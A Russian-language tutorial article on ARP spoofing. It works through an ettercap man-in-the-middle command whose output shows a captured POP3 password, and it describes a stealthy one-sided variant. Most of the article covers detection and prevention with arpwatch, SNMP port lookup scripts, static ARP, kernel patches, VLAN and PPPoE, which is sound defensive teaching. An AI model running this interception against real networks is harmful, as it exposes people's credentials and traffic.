ARP-spoofing (ARP-poisoning) — техника сетевой атаки применяемая преимущественно в Ethernet, но возможная и в других, использующих протокол ARP сетях, основанная на использовании недостатков протокола ARP и позволяющая перехватывать трафик между узлами, которые расположены в пределах одного широковещательного домена.
В статье детально описана техника атаки ARP-spoofing, на примере атаки, выполненной с помощью программы ettercap; рассмотрены такие методы обнаружения и предотвращения ARP-атак, как слежение за ARP-активностью с помощью arpwatch, наложение специальных патчей для придания иммунитета системам, использование VLAN и PPPoE. Показано как решать имеющие непосредственное отношение к протоколу ARP задачи: поиск компьютеров по известному MAC-адресу и обнаружение новых компьютеров в сети.
Протокол ARP и атаки с его использованием
Что такое и для чего нужен ARP
Протокол ARP предназначен для преобразования IP-адресов в MAC-адреса. Чаще всего речь идёт преобразовании в адреса Ethernet, но ARP используется и в сетях других технологий: Token Ring, FDDI и других.
Алгоритм работы ARP
Протокол может использоваться в следующих случаях:
- Хост A хочет передать IP-пакет узлу B, находящемуся с ним в одной сети;
- Хост A хочет передать IP-пакет узлу B, находящемуся с ним в разных сетях, и пользуется для этого услугами маршрутизатора R.
В любом из этих случае узлом A будет использоваться протокол ARP, только в первом случае для определения MAC-адреса узла B, а во втором — для определения MAC-адреса маршрутизатора R. В последнем случае пакет будет передан маршрутизатору для дальнейшей ретрансляции.
Далее для простоты рассматривается первый случай, когда информацией обмениваются узлы, находящиеся непосредственном в одной сети. (Случай когда пакет адресован узлу находящемуся за маршрутизатором отличается только тем, что в пакетах передаваемых после того как ARP-преобразование завершено, используется IP-адрес получателя, но MAC-адрес маршрутизатора, а не получателя.)
Проблемы ARP
Протокол ARP является абсолютно незащищённым. Он не обладает никакими способами проверки подлинности пакетов: как запросов, так и ответов. Ситуация становится ещё более сложной, когда может использоваться самопроизвольный ARP (gratuitous ARP).
Самопроизвольный ARP — такое поведение ARP, когда ARP-ответ присылается, когда в этом (с точки зрения получателя) нет особой необходимости. Самопроизвольный ARP-ответ это пакет-ответ ARP, присланный без запроса. Он применяется для определения конфликтов IP-адресов в сети: как только станция получает адрес по DHCP или адрес присваивается вручную, рассылается ARP-ответ gratuitous ARP.
Самопроизвольный ARP может быть полезен в следующих случаях:
- Обновление ARP-таблиц, в частности, в кластерных системах;
- Информирование коммутаторов;
- Извещение о включении сетевого интерфейса.
Несмотря на эффективность самопроизвольного ARP, он является особенно небезопасным, поскольку с его помощью можно уверить удалённый узел в том, что MAC-адрес какой-либо системы, находящейся с ней в одной сети, изменился и указать, какой адрес используется теперь.
ARP-spoofing
До выполнения ARP-spoofing’а в ARP-таблице узлов A и B существуют записи с IP- и MAC-адресами друг друга. Обмен информацией производится непосредственно между узлами A и B. (зелёная стрелка)
В ходе выполнения ARP-spoofing’а компьютер C, выполняющий атаку, отправляет ARP-ответы (без получения запросов):
- узлу A: с IP-адресом узла B и MAC-адресом узла C;
- узлу B: с IP-адресом узла A и MAC-адресом узла C.
В силу того что компьютеры поддерживают самопроизвольный ARP (gratuitous ARP), они модифицируют собственные ARP-таблицы и помещают туда записи, где вместо настоящих MAC-адресов компьютеров A и B стоит MAC-адрес компьютера C. (красные стрелки)
После того как атака выполнена, когда компьютер A хочет передать пакет компьютеру B, он находит в ARP-таблице запись (она соответствует компьютеру C) и определяет из неё MAC-адрес получателя. Отправленный по этому MAC-адресу пакет приходит компьютеру C вместо получателя. Компьютер C затем ретранслирует пакет тому, кому он действительно адресован — т.е. компьютеру B. (синие стрелки)
Инструменты для выполнения ARP-spoofing’а
В настоящее время существует несколько инструментов для выполнения ARP-spoofing’а, работающие как в ОС Linux, так и в ОС Windows.
Наиболее известные:
- Ettercap
- Cain & Abel
- dsniff
- arp-sk
Все названные программы распространяются свободно.
Выполнение ARP-spoofing’а c помощью ettercap
[Пример выполнения атаки с помощью ettercap.] Рассмотрим как выполнить вышеописанную атаку с помощью ettercap.
- Что происходит на машине A.
- Что происходит на машине B.
- Что происходит на машине C.
Детально рассмотрим как выполняется ARP-spoofing. В качестве инструмента будем использовать программу ettercap, однако другие инструменты для выполнения ARP-spoofing’а работают аналогичным образом.
- Машина A — hostA — 192.168.15.201 — 00:04:75:75:46:B1
- Машина B — hostB — 192.168.15.254 — 00:0A:01:D4:D1:39
- Машина C — hostC — 192.168.15.200 — 00:0A:01:D4:D1:E3
Атаку выполняет hostC против узлов hostA и hostB.
Установить ettercap принятым в системе способом:
hostC%# apt-get install ettercap
Выполнить атаку против узлов hostA и hostB:
%# ettercap -T -M arp -L log /192.168.15.201/ /192.168.15.254/
Опции означают:
- -T — использовать текстовый (консольный) интерфейс;
- -M arp — использовать модуль ARP-spoofing’а для выполнения атаки;
- -L log — записывать журнал перехвата в файлы с именем log.*;
В качестве аргументов указываются IP-адреса машин, против которых нужно выполнять атаку ARP-spoofing.
Пусть, например, в это время узел A обращается к узлу B по протоколу POP3, классическому примеру незащищённого, но очень распространённого протокола — проверяет почту.
hostA %# nc 192.168.15.254 110
USER user
+OK
PASS password
+OK
LIST
+OK
.
Данные передающиеся между клиентом hostA и сервером hostB проходят через узел C. Они выводятся на экран и записываются в файлы. После того как атака завершена для выхода из ettercap необходимо нажать q. Программа отсылает ARP-пакеты для восстановления старых записей в кэше ARP узлов, чтобы они общались друг с другом напрямую. В текущем каталоге должны появиться два файла, начинающиеся словом, указанным после ключа -L при вызове ettercap:
%# ls log.*
log.eci
log.ecp
Просмотреть их содержимое можно с помощью программы etterlog, входящей в пакет ettercap:
%# etterlog log.eci
etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Log file version : NG-0.7.3
Timestamp : Thu Jun 21 12:23:11 2007
Type : LOG_INFO
1698 tcp OS fingerprint
7587 mac vendor fingerprint
2183 known services
==================================================
IP address : 192.168.15.201
MAC address : 00:04:75:75:46:B1
...
MANUFACTURER : Sohoware
DISTANCE : 0
TYPE : LAN host
FINGERPRINT :
OPERATING SYSTEM : UNKNOWN
PORT : TCP 110 | pop-3 []
ACCOUNT : user
/ password
(192.168.15.201)
==================================================
Как видно, пароль был успешно перехвачен. Посмотрим как на узле hostA (атакуемом) меняется ARP-таблица
До атаки.
hostA%# arp -an
? (192.168.15.254) at 00:0A:01:D4:D1:39 [ether] on eth0
? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0
Во время атаки.
hostA%# arp -an
? (192.168.15.254) at 00:0A:01:D4:D1:E3 [ether] on eth0
? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0
После атаки.
hostA%# arp -an
? (192.168.15.254) at 00:0A:01:D4:D1:39 [ether] on eth0
? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0
Если смотреть, что происходит на интерфейсе eth0 компьютера hostA (через который выполняется атака), можно увидеть, что как только начинается атака, на интерфейс поступают ARP-пакеты, которые указывают, что MAC-адрес машины 192.168.15.254 изменился. Пакеты приходят постоянно. Когда атака завершена, MAC-адрес в пакета внезапно меняется на другой. А потом они вообще перестают приходить.
%# tcpdump -i eth0 arp
08:34:20.231680 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
08:34:21.259637 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
08:34:22.287591 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
08:34:23.315522 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
08:34:32.463255 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)
08:34:33.491040 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)
08:34:34.514988 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)
Такая техника гарантирует, что таблица ARP на жертвах будет восстановлена и никто не заметит атаки.
Методы обнаружения
arpwatch
Программа arpwatch отслеживает всю ARP-активность на указанных интерфейсах. Когда она замечает аномалии, например, изменение MAC-адреса при сохранении IP-адреса, или наоборот, она сообщает об этом в syslog.
Инсталляция и конфигурирование arpwatch
Процедуру инсталляции и конфигурирования arpwatch рассмотрим на примере системы Debian GNU/Linux. Установка arpwatch выполняется традиционным для дистрибутива способом:
%# apt-get install arpwatch
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 124kB of archives.
After unpacking 389kB of additional disk space will be used.
Get:1 http://debian.ZLO.ZLO.ZLO etch/main arpwatch 2.1a13-2 [124kB]
Fetched 124kB in 0s (177kB/s)
Selecting previously deselected package arpwatch.
(Reading database ... 22406 files and directories currently installed.)
Unpacking arpwatch (from .../arpwatch_2.1a13-2_i386.deb) ...
Setting up arpwatch (2.1a13-2) ...
Starting Ethernet/FDDI station monitor daemon: (chown arpwatch /var/lib/arpwatch/arp.dat) arpwatch.
После того как демон проинсталлирован, он автоматически заускается. (в других системах его, возможно, нужно будет запускать вручную.)
%# ps aux | grep arpwatch
arpwatch 4810 0.5 0.4 3448 2360 ? S 08:36 0:00 /usr/sbin/arpwatch -u arpwatch -N -p
root 4827 0.0 0.1 2852 712 pts/6 R+ 08:36 0:00 grep arpwatch
Демон не имеет никаких конфигурационных файлов. Конфигурация arpwatch полностью определяется набором передаваемых ему ключей. В Debian GNU/Linux ключи указываются в конфигурационном файле /etc/default/arpwatch (в FreeBSD — в файле /etc/rc.conf). При необходимости изменить конфигурацию arpwatch (в частности, заставить его прослушивать другие интерфейсы), нужно править указанный файл:
%# vi /etc/default/arpwatch
%# cat /etc/default/arpwatch
# Global options for arpwatch(8).
# Debian: don't report bogons, don't use PROMISC.
ARGS="-N -p"
# Debian: run as `arpwatch' user. Empty this to run as root.
RUNAS="arpwatch"
Если конфигурация была изменена, демон должен быть перезапущен:
%# /etc/init.d/arpwatch restart
Когда демон запускается, он обнаруживает новые станции. Не выполняется никаких активных действий — просто прослушивается ARP-трафик. Обнаруженные узлы запоминаются; о том, что обнаружен новый узел arpwatch сообщает в syslog. Обо всех зафиксированных им аномалиях в работе протокола ARP демон также сообщает в syslog:
# tail -f /var/log/daemon.log
Jun 21 08:37:08 s_all@linux2 arpwatch: new station 192.168.15.200 0:a:1:d4:d1:e3 eth0
Jun 21 08:37:08 s_all@linux2 arpwatch: new station 192.168.15.201 0:4:75:75:46:b1 eth0
Jun 21 08:37:09 s_all@linux2 arpwatch: new station 192.168.15.254 0:a:1:d4:d1:39 eth0
Jun 21 08:37:09 s_all@linux2 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
Jun 21 08:37:11 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
Jun 21 08:37:12 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
Jun 21 08:37:13 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
Обратите внимание на строку
Jun 21 08:37:09 s_all@linux2 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
которая сообщает о том, что узел 192.168.15.254 изменил MAC-адрес.
Возможно, это означает, что против узла, на котором запущен arpwatch выполняется ARP-spoofing с целью перехвата трафика, которым он обменивается с узлом 192.168.15.254.
Обнаружение узла, выполняющего ARP-spoofing
Если коммутатор управляемый, можно определить, на каком из его портов работает узел, имеющий определённый MAC-адрес.
Например, это можно сделать с помощью скрипта mac2port. Скрипт связывается с коммутатором по SNMP и опрашивает его таблицу соответствия MAC-адресов портам. Полученная информация выдаётся в удобном для поиска виде на стандартный поток вывода. Для упрощения использования скрипт выводит MAC-адреса в таком же формате, как это делает arpwatch.
Условия для использования скрипта:
- скрипт должен быть размещён в каталоге /usr/local/bin, или другом каталоге указанном в PATH;
- скрипт должен быть исполняемым (chown +x mac2port) или вызываться с интерпретатором perl;
- в теле скрипта должен быть указан IP-адрес коммутатора и его SNMP RO community;
- коммутатор должен поддерживать SNMP версии 2; поддержка должна быть включена (не сложно переписать скрипт на более безопасный протокол SNMPv3, но эта версия работает именно с SNMPv2).
Пример использования скрипта:
%# ./mac2port
0:4:76:a1:ef:bb -> 1
0:a:1:d4:d1:e3 -> 2
0:15:60:79:8e:c0 -> 0
0:4:75:75:46:b1 -> 3
0:a:1:d4:d1:39 -> 44
Если ранее с помощью arpwatch была зафиксирована атака:
%# cat /var/log/daemon.log | grep 'changed ethernet address'
Jun 21 08:37:09 s_all@linux2/192.168.15.201 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
можно воспользоваться скриптом, и определить с какого порта коммутатора она производилась (при этом не имеет значения, истинный ли это MAC-адрес сетевой карты атакующего или он был изменён):
%# mac=$(cat /var/log/daemon.log | grep 'changed ethernet address' | awk '{print $10}')
%# ./mac2port | grep $mac
0:a:1:d4:d1:e3 -> 2
Важно чтобы определение выполнялось быстро, пока информация об атакующем ещё хранится в памяти коммутатора.
Для этого имеет смысл вызывать скрипт поиска автоматически при обнаружении соответствующей записи в системном журнале. Анализ журнала можно выполнять, например, такими средствами как swatch или syslog-ng.
Например, если используется syslog-ng. можно создать скрипт, выполняющий анализ:
/usr/local/bin/syslog-ng-arpwatch
#!/bin/sh
PATH=$PATH:/usr/local/bin
while read line
do
mac="$(echo $line | grep 'changed ethernet address' | awk '{print $10}')"
[ -z "$mac"] && continue
( echo POSSIBLY ARP-SPOOFING FROM:; mac2port | grep "$mac" )| logger -t arp-spoofing
done
и подключить его к syslog-ng.
Для этого нужно в конфигурационном файле syslog-ng.conf указать следующие строки:
destination dp_arpspoofing {
program("/usr/local/bin/syslog-ng-arpwatch");
};
filter f_arpspoofing {
match ("arpwatch");
};
log {
source(s_all);
filter (f_arpspoofing);
destination(dp_arpspoofing);
};
Строку
filter (f_arpspoofing);
можно и не указывать, но на нагруженных системах, она существенно снижает нагрузку. В этом случае при выполнении arp-spoofing’а происходит следующее:
- Демон arpwatch кидает информацию в syslog (через стандартный сокет /dev/log или /var/run/log);
- В том случае, если в качестве syslog-сервера используется Syslog-NG, он обнаруживает сигнатуру сообщения и передаёт обнаруженную строку скрипту syslog-ng-arpwatch;
- Скрипт syslog-ng-arpwatch, если видит, что проблема действительная связана с ARP-spoofing’ом, вызывает скрипт поиска порта по MAC-адресу;
- Скрипт mac2port обращается к коммутатору по SNMP;
- Коммутатор отвечает — передаёт таблицы содержащую информацию о соответствии MAC-адресов портам вызвавшему его скрипту;
- Скрипт mac2port возвращает таблицу соответствия MAC-адресов портам коммутатора скрипту syslog-ng-arpwatch;
- Скрипт syslog-ng-arpwatch находит интересующий порт и пишет сообщение в syslog;
- Демон syslog-ng записыват сообщение с информацией о порте коммутатора в файл, а также может передать его по SMS или почте администратору или вызвать внешнюю программу (которая, например, после дополнительных проверок может заблокировать порт коммутатора);
- Администратор читает об обнаруженной атаке в файле.
Вот как это выглядит в файле:
Jun 21 13:55:23 s_all@linux3 arp-spoofing: POSSIBLY ARP-SPOOFING FROM:
Jun 21 13:55:23 s_all@linux3 arp-spoofing: 0:a:1:d4:d1:e3 -> 2
Текст скрипта mac2port
#!/usr/bin/perl
our $community = "public";
our $switch = "192.168.15.100";
open(SNMP,"snmpwalk -On -OQ -v2c -c $community $switch .1.3.6.1.2.1.17.4.3.1.1|")
or die "Can't run snmpwalk";
while (
{
chomp;
s@.1.3.6.1.2.1.17.4.3.1.1@@;
my ($oid, $mac) = split /=\s*/;
$_=$mac;
s@"@@g; s@\s*$@@; s@ @:@g; s@(.)@\l\1@g; s@^0@@; s@:0@:@g;
$mac_table{$_}=$oid;
}
close(SNMP);
open(SNMP,"snmpwalk -On -OQ -v2c -c $community $switch .1.3.6.1.2.1.17.4.3.1.2|")
or die "Can't run snmpwalk";
while (
{
chomp;
s@.1.3.6.1.2.1.17.4.3.1.2@@;
my ($oid, $port) = split /=/;
$ports_table{$oid}=$port;
}
close(SNMP);
for $oid (keys %mac_table) {
print "$oid -> ".$ports_table{$mac_table{$oid}}."\n";
}
Методы предотвращения
Борьба с ARP-spoofing’ом с помощью arpwatch и подобных инструментов оказывается хотя и очень простой, но далеко не эффективной.
- Во-первых, для того чтобы зафиксировать атаку, на защищаемых узлах должна работать программа arpwatch (или аналогичная). В том случае если она запущена только на одном из двух узлов, подвергающихся ARP-spoofing’у, существует возможность незамеченной односторонней атаки.
- Во-вторых, и это более важно, arpwatch позволяет только зафиксировать атаку, но он не в состоянии её предотвратить.
Для предотвращения последствий атаки необходимо вмешательство администратора или внешней системы. В первом случае между обнаружением и реакцией администратора может пройти слишком много времени. Во втором вмешательство не требуется, реакция выполняется автоматически: как только ARP-аномалия зафиксирована, определяется порт коммутатора, к которому подключён источник аномалии, и порт блокируется до выяcнения. Однако, такой подход имеет большой недостаток — он может быть использован для выполнения DOS атаки: достаточно только узнать MAC адрес компьютера, который надо отключит от сети, и сымитировать атаку с этого компьютера. Дальше наша система обнаружения и предотвращения ARP-spoofing’а все сделает сама.
В основе рассматриваемых способов противодействия ARP-атакам лежат два совершенно раличных принципа, каждый из которых обладает как достоинствами, так и недостатками.
Оба способа, помимо того что они надёжно защищают от ARP-spoofing’а имеют ещё то преимущество, что позволяют полностью контролировать трафик — не только тот, что проходит через шлюз, но и тот, который циркулирует между машинами (В случае использования PPPoE машины могут по взаимному согласию обмениваться данными между собой напрямую. В случае использования VLAN такой возможности они лишены напрочь.)
Одностороняя атака
Если нужно перехватить трафик, который уходит с какого-то узла в сети во внешнюю сеть, атаковать нужно узел и шлюз сети. Однако на шлюзе средство обнаружения ARP-spoofing’а может присутствовать с намного более высокой вероятностью, чем на узле. Поскольку нас интересует трафик, который узел отправляет в сеть, достаточно модифицировать ARP-таблицу только узла и не рисковать быть замеченным шлюзом. Данные, которые шлюз отправляет узлу будут проходить напрямую, а данные, которые узел отправляет шлюзу будут проходить через систему злоумышленника. (как на шлюзе, так и на узле можно было бы отследить, что на пакетах приходящих от узла MAC-адреса отличаются от тех, что записаны у него в ARP-таблице, т.е. что пакеты отправляются на один MAC-адрес, а приходят с другого. Но вот какие системы это делают?)
Статический ARP
Можно бороться со слабостями протокола ARP кардинально — просто не использовать его. ARP-таблицу можно сформировать вручную, при этом она становится неуязвимой к ARP-атакам. Для этого нужно добавить необходимые MAC-адреса в таблицу.
Если при этом отключить использование ARP на сетевых интерфейсах, то доступны будут только те системы, (1) MAC-адреса которых добавлены в ARP-таблицу нашего узла и (2) наш MAC-адрес добавлен в ARP-таблицы узлов, с которыми производится обмен трафиком.
Если не отключать использование ARP на сетевых интерфейсах, MAC-адрес заданный статически имеет приоритет. Если MAC-адрес для какого-то IP-адреса не задан, используется ARP-запрос.
Статическую ARP-таблицу можно получить на основе существующей ARP-таблицы маршрутизатора:
%# arp -an | grep -v incom | awk '{print $2" "$4}' | tr -d '()'
Если написать так:
%# arp -an | grep -v incom | awk '{print $2" "$4}' | tr -d '()' > /etc/ethers
она запишется в файл /etc/ethers
Нужно чтобы в таблице было максимальное количество машин сети. Нужно или строить таблицу в момент пика сетевой активности или предварительно пройдясь по всему диапазону адресов пингами:
for i in `seq 1 255`
do
ping -c 1 192.168.15.$i >& /dev/null &
done
(здесь 192.168.15.0/24 — сеть, для которой выполняется сканирование). После того как файл /etc/ethers создан, его можно загружать с помощью команды:
%# arp -f /etc/ethers
Дальше можно вообще отключить ARP на интерфейсе, и те кто не прописан в /etc/ethers, вообще не смогут пользоваться маршрутизатором.
%# ifconfig eth1 -arp
Преимущества и недостатки
Метод ручного формирования ARP-таблиц имеет следующие недостатки:
- добавляется много рутинной работы, связанной с добавлением и модификацией MAC-адресов. Каждое изменение в сети, связанное с заменой или перестановкой сетевых карт, должно сопровождаться редактирование ARP-таблиц в файлах.
- клиентские узлы остаются по-прежнему уязвимыми к ARP-spoofing’у.
Патчи ядра системы
Существует патч (предложенные buggzy) для ядер Linux/FreeBSD, который позволяет свести к минимуму опасность успешного выполнения атаки ARP-spoofing против пропатченных систем.
Суть метода состоит в следующем. При приеме ARP-ответа производится сравнение старого и нового MAC-адресов, и при обнаружении его изменения запускается процедура верификации. Посылается ARP-запрос, требующий всем хозяевам IP-адреса сообщить свои MAC-адреса.
Если выполняется атака настоящая система, имеющая этот IP-адрес, ответит на запрос, и, таким образом, атака будет распознана. Если же изменение MAC-адреса было связано не с атакой, а со стандартными ситуациями, ответа, содержащего “старый” MAC-адрес, не будет, и по прошествию определенного таймаута система обновит запись в кеше.
При обнаружении подозрительной ситуации (“двойника”) ядро выводит сообщение: “ARP_ANTIDOTE: Possible MITM attempt!”, и не обновляет запись ARP-кеша, а наоборот, прописывает старую запись как статическую. После того как источник атаки выявлен и обезврежен, статическую запись можно удалить.
Патчи, реализующие этот метод борьбы:
* arp_antidote для Linux
* arp_antidote 2 для Linux
* Arp Poison patch для FreeBSD
Патчи работают только с ядром серии 2.4.
Другие методы борьбы с ARP-spoofing’ом
К сожалению, этот метод не применим к Windows-системам, и другим системам, работающим под управлением ОС, исходный код которых недоступен.
Необходимо решить проблему кардинально: нужно так построить сеть, чтобы выполнение ARP-spoofing’а в ней было принципиально невозможно. А если возможным, то бесполезным.
Это можно сделать двумя способами:
1. Ограничить для каждого узла широковещательный домен до уровня двух узлов: самого узла и ближайшего шлюза. подробнее. Почему атаку невозможно выполнить в этом случае. Тогда атаку просто некому выполнять — нужен третий. А его нет.
2. Сделать так чтобы все, абсолютно все, передаваемые в сети данные были зашифрованы и прослушивание этих данных, ни к чему бы не привело. Любое же изменение данных, в случае возникновения, сразу же обнаружено. То есть, фактически сеть должна быть такой же и безопасной при использовании вместо коммутатора концентратора.
Первый способ делается с помощью VLAN’ов. Второй — с помощью PPPoE.
Использование VLAN
Компьютер C может использовать ARP-spoofing против компьютера A только в том случае, если они находятся в одной сети канального уровня. В том случае, если они разделены маршрутизатором, атака невозможна (возможна атака на маршрутизатор, но это совсем другое дело).
VLAN’ы помогают сегментировать сеть — превратить одну сеть в множество изолированных на канальном уровне фрагментов, которые соединены между собой маршрутизатором. Атака ARP-spoofing возможна только между компьютерами находящимися в одном VLAN’е. В наиболее крайнем случае, когда в каждом VLAN’е находится только два компьютера: собственно компьютер и маршрутизатор, атака ARP-spoofing становится невозможной в принципе. К сожалению, такая организация сети являются очень требовательной к ресурсам маршрутизатора и используется редко.
Преимущества
- От клиента ничего не требуется. Он работает, как и работал. Если IP-адрес задан статически, необходима смена IP-адреса и сетевой маски.
- Данные не шифруются, и производительность не теряется. Малые потери на дополнительные поля в заголовке.
- Нельзя организовать обмен данными в обход шлюза между узлами в разных VLAN’ах. Если каждый узел находится в собственном VLAN’е такой обмен невозможен вообще.
Недостатки
- Необходима поддержка VLAN’ов коммутатором.
- Необходимо потратить время на настройку VLAN’ов, дополнительную настройку DHCP’сервера.
- Данные не шифруются. Если их прослушивание каким-то образом удастся, то они могут быть прочтены и/или модифицированы.
Использование PPPoE
Преимущества
- Данные шифруются
- Нет никаких требований к железу. Даже не обязательно чтобы сеть была коммутируемой
Недостатки
- На клиенте требуется настройка доступа по PPPoE. На некоторых системах требуется инсталляция специального клиентского программного обеспечения.
- За счёт потерь на инкапсуляцию, снижается производительность сети. Если выполняется шифрование данных, то временные потери увеличиваются.
- При взаимном согласии сторон можно организовать обмен данными между узлами в обход шлюза.
- При большом количестве соединений PPPoE (>200) возрастает нагрузка на центральный процессор сервера. Иногда, приходится жертвовать шифрованием данных.
- Если будет большая нагрузка на сервер легче использовать PPTPd или IPsec
Мифы и заблуждения, касающиеся ARP-spoofing
ARP-spoofing можно предотвратить с помощью функции port-security коммутаторов
Функция port-security коммутатора позволяет защититься от смены MAC-адреса на порту коммутатора. В том случае если компьютер, подключенный к порту коммутатора меняет MAC-адрес или если меняется компьютер, коммутатор замечает подмену и перестаёт передавать пакеты отправленные с новым обратным адресом. Кроме этого, могут выполняться другие действия: отсылка SNMP-трапа, запись в syslog и тому подобное.
При ARP-spoofing’е MAC-адрес отправителя (атакующего) не меняется и поэтому с точки зрения port-security никаких аномалий нет. Функция port-security никак не отвечает за соответствие IP-адресов и MAC-адресов, а атака ARP-spoofing построена именно на этом.
Материал из Xgu.ru.
Автор: Игорь Чубин
3 комментов оставлено (Add 1 more)